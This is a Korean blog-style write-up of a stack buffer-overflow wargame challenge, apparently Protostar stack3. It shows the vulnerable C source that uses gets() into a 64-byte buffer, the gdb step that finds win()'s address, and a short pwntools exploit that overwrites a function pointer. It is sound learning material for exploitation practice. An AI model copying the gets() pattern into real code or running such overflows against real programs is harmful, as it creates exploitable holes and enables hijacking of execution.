문제의 소스코드는 다음과 같다.

#include <stdlib.h>#include <unistd.h>#include <stdio.h>#include <string.h>void win()
{
  printf("code flow successfully changed\\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\\n", fp);
      fp();
  }
}

buffer을 get 방식으로 받아오고 if 문을 통해 fp 값이 0이 아닐때 문자열을 출력하고

win 값이 어쩌고 저쩌고 되면 성공 문자열을 출력시키는 거 같다.

먼저 buffer 값이 64바이트 풀로 채워지게 'A'를 64개를 넣어 실행시켜보자.

다음과 같이 아무일이 일어나지 않는다. // ( fp == 0 이 성립되어 아무일도 일어나지 않는다 )

64비트를 넘어 더 A를 넣어서 65개를 실행시키면

다음과 같이 함수 포인터가 0x00000041 로 이동되었다는 것을 확인할 수 있다. ++ (ffp 값이 0이 아니게 되어 해당 문자열을 출력 한다.)

그러면 win 함수로 들어가서 성공 문자열을 출력 시키기위해 jumping to (win 함수 주소)가 출력되면 될 것이다.

gdb인 gef를 통해 win 함수의 주소를 알아보자.

win 함수의 주소가 0x08048424 인것을 확인할 수 있다.

이를 통해 pwntools을 활용해 exploit 코드를 짜봤다.

from pwn import *

p = process('./stack3')

win__addr = p32(0x08048424)

payload = b"A" * 64
payload += win__addr

p.sendline (payload)

print (p.recvrepeat(10))

익스플로잇을 수행시키면 다음과 같이 성공 화면을 볼 수 있다!

야호 성공이다!